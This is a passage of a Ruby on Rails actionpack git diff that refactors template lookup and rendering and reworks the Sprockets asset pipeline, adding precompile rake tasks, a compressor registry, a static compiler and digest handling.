- ActiveSupport::Deprecation.warn "ActiveModel-compatible objects whose classes return a #model_name that responds to #partial_path are deprecated. Please respond to #to_path directly instead."
- object.class.model_name.partial_path
+ klass = object.class
+ if klass.respond_to?(:model_name)
+ ActiveSupport::Deprecation.warn "ActiveModel-compatible objects whose classes return a #model_name that responds to #partial_path are deprecated. Please respond to #to_partial_path directly instead."
+ klass.model_name.partial_path
+ else
+ raise ArgumentError.new("'#{object.inspect}' is not an ActiveModel-compatible object that returns a valid partial path.")
+ end
end
@partial_names[path] ||= path.dup.tap do |object_path|
diff --git a/actionpack/lib/action_view/renderer/template_renderer.rb b/actionpack/lib/action_view/renderer/template_renderer.rb
index d04c00fd40..ac91d333ba 100644
--- a/actionpack/lib/action_view/renderer/template_renderer.rb
+++ b/actionpack/lib/action_view/renderer/template_renderer.rb
@@ -4,13 +4,12 @@ require 'active_support/core_ext/array/wrap'
module ActionView
class TemplateRenderer < AbstractRenderer #:nodoc:
def render(context, options)
- @view = context
-
- wrap_formats(options[:template] || options[:file]) do
- template = determine_template(options)
- freeze_formats(template.formats, true)
- render_template(template, options[:layout], options[:locals])
- end
+ @view = context
+ @details = extract_details(options)
+ extract_format(options[:file] || options[:template], @details)
+ template = determine_template(options)
+ freeze_formats(template.formats, true)
+ render_template(template, options[:layout], options[:locals])
end
# Determine the template to be rendered using the given options.
@@ -20,13 +19,13 @@ module ActionView
if options.key?(:text)
Template::Text.new(options[:text], formats.try(:first))
elsif options.key?(:file)
- with_fallbacks { find_template(options[:file], nil, false, keys) }
+ with_fallbacks { find_template(options[:file], nil, false, keys, @details) }
elsif options.key?(:inline)
handler = Template.handler_for_extension(options[:type] || "erb")
Template.new(options[:inline], "inline template", handler, :locals => keys)
elsif options.key?(:template)
options[:template].respond_to?(:render) ?
- options[:template] : find_template(options[:template], options[:prefixes], false, keys)
+ options[:template] : find_template(options[:template], options[:prefixes], false, keys, @details)
end
end
@@ -62,12 +61,11 @@ module ActionView
begin
with_layout_format do
layout =~ /^\// ?
- with_fallbacks { find_template(layout, nil, false, keys) } : find_template(layout, nil, false, keys)
+ with_fallbacks { find_template(layout, nil, false, keys, @details) } : find_template(layout, nil, false, keys, @details)
end
rescue ActionView::MissingTemplate
- update_details(:formats => nil) do
- raise unless template_exists?(layout)
- end
+ all_details = @details.merge(:formats => @lookup_context.default_formats)
+ raise unless template_exists?(layout, nil, false, keys, all_details)
end
end
end
diff --git a/actionpack/lib/action_view/template.rb b/actionpack/lib/action_view/template.rb
index 10797c010f..8d69880308 100644
--- a/actionpack/lib/action_view/template.rb
+++ b/actionpack/lib/action_view/template.rb
@@ -3,6 +3,33 @@ require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
require 'active_support/core_ext/kernel/singleton_class'
+if defined?(RUBY_ENGINE) && RUBY_ENGINE == 'ruby' && RUBY_VERSION == '1.9.3' && RUBY_PATCHLEVEL == 0
+ # This is a hack to work around a bug in Ruby 1.9.3p0:
+ # http://redmine.ruby-lang.org/issues/5564
+ #
+ # Basically, at runtime we may need to perform some encoding conversions on the templates,
+ # but if the converter hasn't been loaded by Ruby beforehand (i.e. now), then it won't be
+ # able to find it (due to a bug).
+ #
+ # However, we don't know what conversions we may need to do a runtime. So we load up a
+ # text file which contains a pre-generated list of all the possible conversions,
+ # and we load all of them.
+ #
+ # In my testing this increased the process size by about 3.9 MB (after the conversions array
+ # is GC'd) and took around 170ms to run, which seems acceptable for a workaround.
+ #
+ # The script to dump the conversions is: https://gist.github.com/1371499
+
+ filename = File.join(File.dirname(__FILE__), 'data', 'encoding_conversions.txt')
+ conversions = File.read(filename)
+ conversions.split("\n").map do |line|
+ from, to_array = line.split(':')
+ to_array.split(',').each do |to|
+ Encoding::Converter.new(from, to)
+ end
+ end
+end
+
module ActionView
# = Action View Template
class Template
diff --git a/actionpack/lib/action_view/template/error.rb b/actionpack/lib/action_view/template/error.rb
index 587e37a84f..fe27e54037 100644
--- a/actionpack/lib/action_view/template/error.rb
+++ b/actionpack/lib/action_view/template/error.rb
@@ -89,10 +89,14 @@ module ActionView
line_counter = start_on_line
return unless source_code = source_code[start_on_line..end_on_line]
- source_code.sum do |line|
+ extract = source_code.sum do |line|
line_counter += 1
"#{indent}#{line_counter}: #{line}\n"
end
+
+ extract.encode! if extract.respond_to?(:encode!)
+
+ extract
end
def sub_template_of(template_path)
diff --git a/actionpack/lib/action_view/template/handlers/builder.rb b/actionpack/lib/action_view/template/handlers/builder.rb
index 2c52cfd90e..34397c3bcf 100644
--- a/actionpack/lib/action_view/template/handlers/builder.rb
+++ b/actionpack/lib/action_view/template/handlers/builder.rb
@@ -6,12 +6,21 @@ module ActionView
self.default_format = Mime::XML
def call(template)
- require 'builder'
+ require_engine
"xml = ::Builder::XmlMarkup.new(:indent => 2);" +
"self.output_buffer = xml.target!;" +
template.source +
";xml.target!;"
end
+
+ protected
+
+ def require_engine
+ @required ||= begin
+ require "builder"
+ true
+ end
+ end
end
end
end
diff --git a/actionpack/lib/action_view/template/handlers/erb.rb b/actionpack/lib/action_view/template/handlers/erb.rb
index 77720e2bc8..25f26dd609 100644
--- a/actionpack/lib/action_view/template/handlers/erb.rb
+++ b/actionpack/lib/action_view/template/handlers/erb.rb
@@ -1,5 +1,5 @@
require 'action_dispatch/http/mime_type'
-require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/class/attribute'
require 'erubis'
module ActionView
diff --git a/actionpack/lib/action_view/template/resolver.rb b/actionpack/lib/action_view/template/resolver.rb
index 5f7fe81bd5..f855ea257c 100644
--- a/actionpack/lib/action_view/template/resolver.rb
+++ b/actionpack/lib/action_view/template/resolver.rb
@@ -1,5 +1,6 @@
require "pathname"
require "active_support/core_ext/class"
+require "active_support/core_ext/io"
require "action_view/template"
module ActionView
@@ -68,7 +69,7 @@ module ActionView
# before returning it.
def cached(key, path_info, details, locals) #:nodoc:
name, prefix, partial = path_info
- locals = sort_locals(locals)
+ locals = locals.map { |x| x.to_s }.sort!
if key && caching?
@cached[key][name][prefix][partial][locals] ||= decorate(yield, path_info, details, locals)
@@ -97,18 +98,6 @@ module ActionView
t.virtual_path ||= (cached ||= build_path(*path_info))
end
end
-
- if :symbol.respond_to?("<=>")
- def sort_locals(locals) #:nodoc:
- locals.sort.freeze
- end
- else
- def sort_locals(locals) #:nodoc:
- locals = locals.map{ |l| l.to_s }
- locals.sort!
- locals.freeze
- end
- end
end
# An abstract class that implements a Resolver with path semantics.
@@ -130,27 +119,35 @@ module ActionView
def query(path, details, formats)
query = build_query(path, details)
- templates = []
- sanitizer = Hash.new { |h,k| h[k] = Dir["#{File.dirname(k)}/*"] }
- Dir[query].each do |p|
- next if File.directory?(p) || !sanitizer[p].include?(p)
+ # deals with case-insensitive file systems.
+ sanitizer = Hash.new { |h,dir| h[dir] = Dir["#{dir}/*"] }
- handler, format = extract_handler_and_format(p, formats)
- contents = File.open(p, "rb") { |io| io.read }
+ template_paths = Dir[query].reject { |filename|
+ File.directory?(filename) ||
+ !sanitizer[File.dirname(filename)].include?(filename)
+ }
- templates << Template.new(contents, File.expand_path(p), handler,
- :virtual_path => path.virtual, :format => format, :updated_at => mtime(p))
- end
+ template_paths.map { |template|
+ handler, format = extract_handler_and_format(template, formats)
+ contents = File.binread template
- templates
+ Template.new(contents, File.expand_path(template), handler,
+ :virtual_path => path.virtual,
+ :format => format,
+ :updated_at => mtime(template))
+ }
end
# Helper for building query glob string based on resolver's pattern.
def build_query(path, details)
query = @pattern.dup
- query.gsub!(/\:prefix(\/)?/, path.prefix.empty? ? "" : "#{path.prefix}\\1") # prefix can be empty...
- query.gsub!(/\:action/, path.partial? ? "_#{path.name}" : path.name)
+
+ prefix = path.prefix.empty? ? "" : "#{escape_entry(path.prefix)}\\1"
+ query.gsub!(/\:prefix(\/)?/, prefix)
+
+ partial = escape_entry(path.partial? ? "_#{path.name}" : path.name)
+ query.gsub!(/\:action/, partial)
details.each do |ext, variants|
query.gsub!(/\:#{ext}/, "{#{variants.compact.uniq.join(',')}}")
@@ -159,6 +156,10 @@ module ActionView
File.expand_path(query, @path)
end
+ def escape_entry(entry)
+ entry.gsub(/[*?{}\[\]]/, '\\\\\\&')
+ end
+
# Returns the file mtime from the filesystem.
def mtime(p)
File.mtime(p)
@@ -235,15 +236,11 @@ module ActionView
class OptimizedFileSystemResolver < FileSystemResolver #:nodoc:
def build_query(path, details)
exts = EXTENSIONS.map { |ext| details[ext] }
- query = File.join(@path, path)
-
- exts.each do |ext|
- query << "{"
- ext.compact.each { |e| query << ".#{e}," }
- query << "}"
- end
+ query = escape_entry(File.join(@path, path))
- query
+ query + exts.map { |ext|
+ "{#{ext.compact.uniq.map { |e| ".#{e}," }.join}}"
+ }.join
end
end
diff --git a/actionpack/lib/action_view/test_case.rb b/actionpack/lib/action_view/test_case.rb
index 2cc85a9f69..9ebe498192 100644
--- a/actionpack/lib/action_view/test_case.rb
+++ b/actionpack/lib/action_view/test_case.rb
@@ -50,14 +50,17 @@ module ActionView
module ClassMethods
def tests(helper_class)
- self.helper_class = helper_class
+ case helper_class
+ when String, Symbol
+ self.helper_class = "#{helper_class.to_s.underscore}_helper".camelize.safe_constantize
+ when Module
+ self.helper_class = helper_class
+ end
end
def determine_default_helper_class(name)
- mod = name.sub(/Test$/, '').constantize
+ mod = name.sub(/Test$/, '').safe_constantize
mod.is_a?(Class) ? nil : mod
- rescue NameError
- nil
end
def helper_method(*methods)
@@ -65,7 +68,7 @@ module ActionView
methods.flatten.each do |method|
_helpers.module_eval <<-end_eval
def #{method}(*args, &block) # def current_user(*args, &block)
- _test_case.send(%(#{method}), *args, &block) # test_case.send(%(current_user), *args, &block)
+ _test_case.send(%(#{method}), *args, &block) # _test_case.send(%(current_user), *args, &block)
end # end
end_eval
end
diff --git a/actionpack/lib/sprockets/assets.rake b/actionpack/lib/sprockets/assets.rake
index 50278cffcd..a61a121d55 100644
--- a/actionpack/lib/sprockets/assets.rake
+++ b/actionpack/lib/sprockets/assets.rake
@@ -1,24 +1,95 @@
+require "fileutils"
+
namespace :assets do
- # Ensures the RAILS_GROUPS environment variable is set
- task :ensure_env do
- ENV["RAILS_GROUPS"] ||= "assets"
+ def ruby_rake_task(task)
+ env = ENV['RAILS_ENV'] || 'production'
+ groups = ENV['RAILS_GROUPS'] || 'assets'
+ args = [$0, task,"RAILS_ENV=#{env}","RAILS_GROUPS=#{groups}"]
+ args << "--trace" if Rake.application.options.trace
+ ruby(*args)
+ end
+
+ # We are currently running with no explicit bundler group
+ # and/or no explicit environment - we have to reinvoke rake to
+ # execute this task.
+ def invoke_or_reboot_rake_task(task)
+ if ENV['RAILS_GROUPS'].to_s.empty? || ENV['RAILS_ENV'].to_s.empty?
+ ruby_rake_task task
+ else
+ Rake::Task[task].invoke
+ end
end
desc "Compile all the assets named in config.assets.precompile"
- task :precompile => :ensure_env do
- Rake::Task["environment"].invoke
- Sprockets::Helpers::RailsHelper
-
- assets = Rails.application.config.assets.precompile
- # Always perform caching so that asset_path appends the timestamps to file references.
- Rails.application.config.action_controller.perform_caching = true
- Rails.application.assets.precompile(*assets)
+ task :precompile do
+ invoke_or_reboot_rake_task "assets:precompile:all"
+ end
+
+ namespace :precompile do
+ def internal_precompile(digest=nil)
+ unless Rails.application.config.assets.enabled
+ warn "Cannot precompile assets if sprockets is disabled. Please set config.assets.enabled to true"
+ exit
+ end
+
+ # Ensure that action view is loaded and the appropriate
+ # sprockets hooks get executed
+ _ = ActionView::Base
+
+ config = Rails.application.config
+ config.assets.compile = true
+ config.assets.digest = digest unless digest.nil?
+ config.assets.digests = {}
+
+ env = Rails.application.assets
+ target = File.join(Rails.public_path, config.assets.prefix)
+ compiler = Sprockets::StaticCompiler.new(env,
+ target,
+ config.assets.precompile,
+ :manifest_path => config.assets.manifest,
+ :digest => config.assets.digest,
+ :manifest => digest.nil?)
+ compiler.compile
+ end
+
+ task :all do
+ Rake::Task["assets:precompile:primary"].invoke
+ # We need to reinvoke in order to run the secondary digestless
+ # asset compilation run - a fresh Sprockets environment is
+ # required in order to compile digestless assets as the
+ # environment has already cached the assets on the primary
+ # run.
+ ruby_rake_task "assets:precompile:nondigest" if Rails.application.config.assets.digest
+ end
+
+ task :primary => ["assets:environment", "tmp:cache:clear"] do
+ internal_precompile
+ end
+
+ task :nondigest => ["assets:environment", "tmp:cache:clear"] do
+ internal_precompile(false)
+ end
end
desc "Remove compiled assets"
- task :clean => :environment do
- assets = Rails.application.config.assets
- public_asset_path = Rails.public_path + assets.prefix
- rm_rf public_asset_path, :secure => true
+ task :clean do
+ invoke_or_reboot_rake_task "assets:clean:all"
+ end
+
+ namespace :clean do
+ task :all => ["assets:environment", "tmp:cache:clear"] do
+ config = Rails.application.config
+ public_asset_path = File.join(Rails.public_path, config.assets.prefix)
+ rm_rf public_asset_path, :secure => true
+ end
+ end
+
+ task :environment do
+ if Rails.application.config.assets.initialize_on_precompile
+ Rake::Task["environment"].invoke
+ else
+ Rails.application.initialize!(:assets)
+ Sprockets::Bootstrap.new(Rails.application).run
+ end
end
end
diff --git a/actionpack/lib/sprockets/bootstrap.rb b/actionpack/lib/sprockets/bootstrap.rb
new file mode 100644
index 0000000000..395b264fe7
--- /dev/null
+++ b/actionpack/lib/sprockets/bootstrap.rb
@@ -0,0 +1,37 @@
+module Sprockets
+ class Bootstrap
+ def initialize(app)
+ @app = app
+ end
+
+ # TODO: Get rid of config.assets.enabled
+ def run
+ app, config = @app, @app.config
+ return unless app.assets
+
+ config.assets.paths.each { |path| app.assets.append_path(path) }
+
+ if config.assets.compress
+ # temporarily hardcode default JS compressor to uglify. Soon, it will work
+ # the same as SCSS, where a default plugin sets the default.
+ unless config.assets.js_compressor == false
+ app.assets.js_compressor = LazyCompressor.new { Sprockets::Compressors.registered_js_compressor(config.assets.js_compressor || :uglifier) }
+ end
+
+ unless config.assets.css_compressor == false
+ app.assets.css_compressor = LazyCompressor.new { Sprockets::Compressors.registered_css_compressor(config.assets.css_compressor) }
+ end
+ end
+
+ if config.assets.compile
+ app.routes.prepend do
+ mount app.assets => config.assets.prefix
+ end
+ end
+
+ if config.assets.digest
+ app.assets = app.assets.index
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/sprockets/compressors.rb b/actionpack/lib/sprockets/compressors.rb
index 6544953df4..cb3e13314b 100644
--- a/actionpack/lib/sprockets/compressors.rb
+++ b/actionpack/lib/sprockets/compressors.rb
@@ -1,21 +1,83 @@
module Sprockets
- class NullCompressor
+ module Compressors
+ @@css_compressors = {}
+ @@js_compressors = {}
+ @@default_css_compressor = nil
+ @@default_js_compressor = nil
+
+ def self.register_css_compressor(name, klass, options = {})
+ @@default_css_compressor = name.to_sym if options[:default] || @@default_css_compressor.nil?
+ @@css_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]}
+ end
+
+ def self.register_js_compressor(name, klass, options = {})
+ @@default_js_compressor = name.to_sym if options[:default] || @@default_js_compressor.nil?
+ @@js_compressors[name.to_sym] = {:klass => klass.to_s, :require => options[:require]}
+ end
+
+ def self.registered_css_compressor(name)
+ if name.respond_to?(:to_sym)
+ compressor = @@css_compressors[name.to_sym] || @@css_compressors[@@default_css_compressor]
+ require compressor[:require] if compressor[:require]
+ compressor[:klass].constantize.new
+ else
+ name
+ end
+ end
+
+ def self.registered_js_compressor(name)
+ if name.respond_to?(:to_sym)
+ compressor = @@js_compressors[name.to_sym] || @@js_compressors[@@default_js_compressor]
+ require compressor[:require] if compressor[:require]
+ compressor[:klass].constantize.new
+ else
+ name
+ end
+ end
+
+ # The default compressors must be registered in default plugins (ex. Sass-Rails)
+ register_css_compressor(:scss, 'Sass::Rails::Compressor', :require => 'sass/rails/compressor', :default => true)
+ register_js_compressor(:uglifier, 'Uglifier', :require => 'uglifier', :default => true)
+
+ # Automaticaly register some compressors
+ register_css_compressor(:yui, 'YUI::CssCompressor', :require => 'yui/compressor')
+ register_js_compressor(:closure, 'Closure::Compiler', :require => 'closure-compiler')
+ register_js_compressor(:yui, 'YUI::JavaScriptCompressor', :require => 'yui/compressor')
+ end
+
+ # An asset compressor which does nothing.
+ #
+ # This compressor simply returns the asset as-is, without any compression
+ # whatsoever. It is useful in development mode, when compression isn't
+ # needed but using the same asset pipeline as production is desired.
+ class NullCompressor #:nodoc:
def compress(content)
content
end
end
- class LazyCompressor
+ # An asset compressor which only initializes the underlying compression
+ # engine when needed.
+ #
+ # This postpones the initialization of the compressor until
+ # <code>#compress</code> is called the first time.
+ class LazyCompressor #:nodoc:
+ # Initializes a new LazyCompressor.
+ #
+ # The block should return a compressor when called, i.e. an object
+ # which responds to <code>#compress</code>.
def initialize(&block)
@block = block
end
- def compressor
- @compressor ||= @block.call || NullCompressor.new
- end
-
def compress(content)
compressor.compress(content)
end
+
+ private
+
+ def compressor
+ @compressor ||= (@block.call || NullCompressor.new)
+ end
end
-end \ No newline at end of file
+end
diff --git a/actionpack/lib/sprockets/helpers.rb b/actionpack/lib/sprockets/helpers.rb
index a952a55c5e..fee48386e0 100644
--- a/actionpack/lib/sprockets/helpers.rb
+++ b/actionpack/lib/sprockets/helpers.rb
@@ -1,5 +1,6 @@
module Sprockets
module Helpers
- autoload :RailsHelper, "sprockets/helpers/rails_helper"
+ autoload :RailsHelper, "sprockets/helpers/rails_helper"
+ autoload :IsolatedHelper, "sprockets/helpers/isolated_helper"
end
end
diff --git a/actionpack/lib/sprockets/helpers/isolated_helper.rb b/actionpack/lib/sprockets/helpers/isolated_helper.rb
new file mode 100644
index 0000000000..3adb928c45
--- /dev/null
+++ b/actionpack/lib/sprockets/helpers/isolated_helper.rb
@@ -0,0 +1,13 @@
+module Sprockets
+ module Helpers
+ module IsolatedHelper
+ def controller
+ nil
+ end
+
+ def config
+ Rails.application.config.action_controller
+ end
+ end
+ end
+end
diff --git a/actionpack/lib/sprockets/helpers/rails_helper.rb b/actionpack/lib/sprockets/helpers/rails_helper.rb
index ec3d36d5ad..1ebe7f68f7 100644
--- a/actionpack/lib/sprockets/helpers/rails_helper.rb
+++ b/actionpack/lib/sprockets/helpers/rails_helper.rb
@@ -8,12 +8,11 @@ module Sprockets
def asset_paths
@asset_paths ||= begin
- config = self.config if respond_to?(:config)
- config ||= Rails.application.config
- controller = self.controller if respond_to?(:controller)
paths = RailsHelper::AssetPaths.new(config, controller)
paths.asset_environment = asset_environment
- paths.asset_prefix = asset_prefix
+ paths.asset_digests = asset_digests
+ paths.compile_assets = compile_assets?
+ paths.digest_assets = digest_assets?
paths
end
end
@@ -22,56 +21,60 @@ module Sprockets
options = sources.extract_options!
debug = options.key?(:debug) ? options.delete(:debug) : debug_assets?
body = options.key?(:body) ? options.delete(:body) : false
+ digest = options.key?(:digest) ? options.delete(:digest) : digest_assets?
sources.collect do |source|
if debug && asset = asset_paths.asset_for(source, 'js')
asset.to_a.map { |dep|
- javascript_include_tag(dep, :debug => false, :body => true)
- }.join("\n").html_safe
+ super(dep.to_s, { :src => asset_path(dep, :ext => 'js', :body => true, :digest => digest) }.merge!(options))
+ }
else
- tag_options = {
- 'type' => "text/javascript",
- 'src' => asset_path(source, 'js', body)
- }.merge(options.stringify_keys)
-
- content_tag 'script', "", tag_options
+ super(source.to_s, { :src => asset_path(source, :ext => 'js', :body => body, :digest => digest) }.merge!(options))
end
end.join("\n").html_safe
end
def stylesheet_link_tag(*sources)
options = sources.extract_options!
- debug = options.key?(:debug) ? options.delete(:debug) : debug_assets?
- body = options.key?(:body) ? options.delete(:body) : false
+ debug = options.key?(:debug) ? options.delete(:debug) : debug_assets?
+ body = options.key?(:body) ? options.delete(:body) : false
+ digest = options.key?(:digest) ? options.delete(:digest) : digest_assets?
sources.collect do |source|
if debug && asset = asset_paths.asset_for(source, 'css')
asset.to_a.map { |dep|
- stylesheet_link_tag(dep, :debug => false, :body => true)
- }.join("\n").html_safe
+ super(dep.to_s, { :href => asset_path(dep, :ext => 'css', :body => true, :protocol => :request, :digest => digest) }.merge!(options))
+ }
else
- tag_options = {
- 'rel' => "stylesheet",
- 'type' => "text/css",
- 'media' => "screen",
- 'href' => asset_path(source, 'css', body, :request)
- }.merge(options.stringify_keys)
-
- tag 'link', tag_options
+ super(source.to_s, { :href => asset_path(source, :ext => 'css', :body => body, :protocol => :request, :digest => digest) }.merge!(options))
end
end.join("\n").html_safe
end
- def asset_path(source, default_ext = nil, body = false, protocol = nil)
+ def asset_path(source, options = {})
source = source.logical_path if source.respond_to?(:logical_path)
- path = asset_paths.compute_public_path(source, 'assets', default_ext, true, protocol)
- body ? "#{path}?body=1" : path
+ path = asset_paths.compute_public_path(source, asset_prefix, options.merge(:body => true))
+ options[:body] ? "#{path}?body=1" : path
+ end
+
+ def image_path(source)
+ asset_path(source)
+ end
+ alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
+
+ def javascript_path(source)
+ asset_path(source)
end
+ alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with an javascript_path named route
+
+ def stylesheet_path(source)
+ asset_path(source)
+ end
+ alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with an stylesheet_path named route
private
def debug_assets?
- params[:debug_assets] == '1' ||
- params[:debug_assets] == 'true'
+ compile_assets? && (Rails.application.config.assets.debug || params[:debug_assets])
rescue NoMethodError
false
end
@@ -86,6 +89,18 @@ module Sprockets
Rails.application.config.assets.prefix
end
+ def asset_digests
+ Rails.application.config.assets.digests
+ end
+
+ def compile_assets?
+ Rails.application.config.assets.compile
+ end
+
+ def digest_assets?
+ Rails.application.config.assets.digest
+ end
+
# Override to specify an alternative asset environment for asset
# path generation. The environment should already have been mounted
# at the prefix returned by +asset_prefix+.
@@ -94,11 +109,9 @@ module Sprockets
end
class AssetPaths < ::ActionView::AssetPaths #:nodoc:
- attr_accessor :asset_environment, :asset_prefix
+ attr_accessor :asset_environment, :asset_prefix, :asset_digests, :compile_assets, :digest_assets
- def compute_public_path(source, dir, ext=nil, include_host=true, protocol=nil)
- super(source, asset_prefix, ext, include_host, protocol)
- end
+ class AssetNotPrecompiledError < StandardError; end
# Return the filesystem path for the source
def compute_source_path(source, ext)
@@ -110,28 +123,43 @@ module Sprockets
return nil if is_uri?(source)
source = rewrite_extension(source, nil, ext)
asset_environment[source]
+ rescue Sprockets::FileOutsidePaths
+ nil
+ end
+
+ def digest_for(logical_path)
+ if digest_assets && asset_digests && (digest = asset_digests[logical_path])
+ return digest
+ end
+
+ if compile_assets
+ if digest_assets && asset = asset_environment[logical_path]
+ return asset.digest_path
+ end
+ return logical_path
+ else
+ raise AssetNotPrecompiledError.new("#{logical_path} isn't precompiled")
+ end
end
- def rewrite_asset_path(source, dir)
+ def rewrite_asset_path(source, dir, options = {})
if source[0] == ?/
source
else
- asset_environment.path(source, performing_caching?, dir)
+ source = digest_for(source) unless options[:digest] == false
+ source = File.join(dir, source)
+ source = "/#{source}" unless source =~ /^\//
+ source
end
end
def rewrite_extension(source, dir, ext)
- if ext && File.extname(source).empty?
+ if ext && File.extname(source) != ".#{ext}"
"#{source}.#{ext}"
else
source
end
end
-
- # When included in Sprockets::Context, we need to ask the top-level config as the controller is not available
- def performing_caching?
- config.action_controller.present? ? config.action_controller.perform_caching : config.perform_caching
- end
end
end
end
diff --git a/actionpack/lib/sprockets/railtie.rb b/actionpack/lib/sprockets/railtie.rb
index c8438e6043..a7eb03acaf 100644
--- a/actionpack/lib/sprockets/railtie.rb
+++ b/actionpack/lib/sprockets/railtie.rb
@@ -1,35 +1,48 @@
+require "action_controller/railtie"
+
module Sprockets
- autoload :Helpers, "sprockets/helpers"
+ autoload :Bootstrap, "sprockets/bootstrap"
+ autoload :Helpers, "sprockets/helpers"
+ autoload :Compressors, "sprockets/compressors"
autoload :LazyCompressor, "sprockets/compressors"
autoload :NullCompressor, "sprockets/compressors"
+ autoload :StaticCompiler, "sprockets/static_compiler"
# TODO: Get rid of config.assets.enabled
class Railtie < ::Rails::Railtie
- config.default_asset_host_protocol = :relative
-
rake_tasks do
load "sprockets/assets.rake"
end
- initializer "sprockets.environment" do |app|
+ initializer "sprockets.environment", :group => :all do |app|
config = app.config
next unless config.assets.enabled
require 'sprockets'
app.assets = Sprockets::Environment.new(app.root.to_s) do |env|
- env.static_root = File.join(app.root.join('public'), config.assets.prefix)
- env.logger = ::Rails.logger
+ env.logger = ::Rails.logger
+ env.version = ::Rails.env + "-#{config.assets.version}"
if config.assets.cache_store != false
env.cache = ActiveSupport::Cache.lookup_store(config.assets.cache_store) || ::Rails.cache
end
end
+ if config.assets.manifest
+ path = File.join(config.assets.manifest, "manifest.yml")
+ else
+ path = File.join(Rails.public_path, config.assets.prefix, "manifest.yml")
+ end
+
+ if File.exist?(path)
+ config.assets.digests = YAML.load_file(path)
+ end
+
ActiveSupport.on_load(:action_view) do
include ::Sprockets::Helpers::RailsHelper
-
app.assets.context_class.instance_eval do
+ include ::Sprockets::Helpers::IsolatedHelper
include ::Sprockets::Helpers::RailsHelper
end
end
@@ -40,57 +53,7 @@ module Sprockets
# are compiled, and so that other Railties have an opportunity to
# register compressors.
config.after_initialize do |app|
- next unless app.assets
- config = app.config
-
- config.assets.paths.each { |path| app.assets.append_path(path) }
-
- if config.assets.compress
- # temporarily hardcode default JS compressor to uglify. Soon, it will work
- # the same as SCSS, where a default plugin sets the default.
- unless config.assets.js_compressor == false
- app.assets.js_compressor = LazyCompressor.new { expand_js_compressor(config.assets.js_compressor || :uglifier) }
- end
-
- unless config.assets.css_compressor == false
- app.assets.css_compressor = LazyCompressor.new { expand_css_compressor(config.assets.css_compressor) }
- end
- end
-
- app.routes.prepend do
- mount app.assets => config.assets.prefix
- end
-
- if config.action_controller.perform_caching
- app.assets = app.assets.index
- end
+ Sprockets::Bootstrap.new(app).run
end
-
- protected
- def expand_js_compressor(sym)
- case sym
- when :closure
- require 'closure-compiler'
- Closure::Compiler.new
- when :uglifier
- require 'uglifier'
- Uglifier.new
- when :yui
- require 'yui/compressor'
- YUI::JavaScriptCompressor.new
- else
- sym
- end
- end
-
- def expand_css_compressor(sym)
- case sym
- when :yui
- require 'yui/compressor'
- YUI::CssCompressor.new
- else
- sym
- end
- end
end
end
diff --git a/actionpack/lib/sprockets/static_compiler.rb b/actionpack/lib/sprockets/static_compiler.rb
new file mode 100644
index 0000000000..32a9d66e6e
--- /dev/null
+++ b/actionpack/lib/sprockets/static_compiler.rb
@@ -0,0 +1,61 @@
+require 'fileutils'
+
+module Sprockets
+ class StaticCompiler
+ attr_accessor :env, :target, :paths
+
+ def initialize(env, target, paths, options = {})
+ @env = env
+ @target = target
+ @paths = paths
+ @digest = options.key?(:digest) ? options.delete(:digest) : true
+ @manifest = options.key?(:manifest) ? options.delete(:manifest) : true
+ @manifest_path = options.delete(:manifest_path) || target
+ end
+
+ def compile
+ manifest = {}
+ env.each_logical_path do |logical_path|
+ next unless compile_path?(logical_path)
+ if asset = env.find_asset(logical_path)
+ manifest[logical_path] = write_asset(asset)
+ end
+ end
+ write_manifest(manifest) if @manifest
+ end
+
+ def write_manifest(manifest)
+ FileUtils.mkdir_p(@manifest_path)
+ File.open("#{@manifest_path}/manifest.yml", 'wb') do |f|
+ YAML.dump(manifest, f)
+ end
+ end
+
+ def write_asset(asset)
+ path_for(asset).tap do |path|
+ filename = File.join(target, path)
+ FileUtils.mkdir_p File.dirname(filename)
+ asset.write_to(filename)
+ asset.write_to("#{filename}.gz") if filename.to_s =~ /\.(css|js)$/
+ end
+ end
+
+ def compile_path?(logical_path)
+ paths.each do |path|
+ case path
+ when Regexp
+ return true if path.match(logical_path)
+ when Proc
+ return true if path.call(logical_path)
+ else
+ return true if File.fnmatch(path.to_s, logical_path)
+ end
+ end
+ false
+ end
+
+ def path_for(asset)
+ @digest ? asset.digest_path : asset.logical_path
+ end
+ end
+end
diff --git a/actionpack/test/abstract/abstract_controller_test.rb b/actionpack/test/abstract/abstract_controller_test.rb
index 5823e64637..bf068aedcd 100644
--- a/actionpack/test/abstract/abstract_controller_test.rb
+++ b/actionpack/test/abstract/abstract_controller_test.rb
@@ -50,7 +50,7 @@ module AbstractController
end
def index_to_string
- self.response_body = render_to_string "index.erb"
+ self.response_body = render_to_string "index"
end
def action_with_ivars
@@ -63,11 +63,11 @@ module AbstractController
end
def rendering_to_body
- self.response_body = render_to_body :template => "naked_render.erb"
+ self.response_body = render_to_body :template => "naked_render"
end
def rendering_to_string
- self.response_body = render_to_string :template => "naked_render.erb"
+ self.response_body = render_to_string :template => "naked_render"
end
end
diff --git a/actionpack/test/abstract_unit.rb b/actionpack/test/abstract_unit.rb
index 24d071df39..d191a203dd 100644
--- a/actionpack/test/abstract_unit.rb
+++ b/actionpack/test/abstract_unit.rb
@@ -73,7 +73,17 @@ module RackTestUtils
end
module RenderERBUtils
+ def view
+ @view ||= begin
+ path = ActionView::FileSystemResolver.new(FIXTURE_LOAD_PATH)
+ view_paths = ActionView::PathSet.new([path])
+ ActionView::Base.new(view_paths)
+ end
+ end
+
def render_erb(string)
+ @virtual_path = nil
+
template = ActionView::Template.new(
string.strip,
"test template",
@@ -333,11 +343,16 @@ module ActionDispatch
"#{FIXTURE_LOAD_PATH}/public"
end
- remove_method :logger
+ remove_method :stderr_logger
# Silence logger
- def logger
+ def stderr_logger
nil
end
end
end
+module RoutingTestHelpers
+ def url_for(set, options, recall = nil)
+ set.send(:url_for, options.merge(:only_path => true, :_path_segments => recall))
+ end
+end
diff --git a/actionpack/test/activerecord/polymorphic_routes_test.rb b/actionpack/test/activerecord/polymorphic_routes_test.rb
index 20d11377f6..90e7f4ae59 100644
--- a/actionpack/test/activerecord/polymorphic_routes_test.rb
+++ b/actionpack/test/activerecord/polymorphic_routes_test.rb
@@ -2,42 +2,40 @@ require 'active_record_unit'
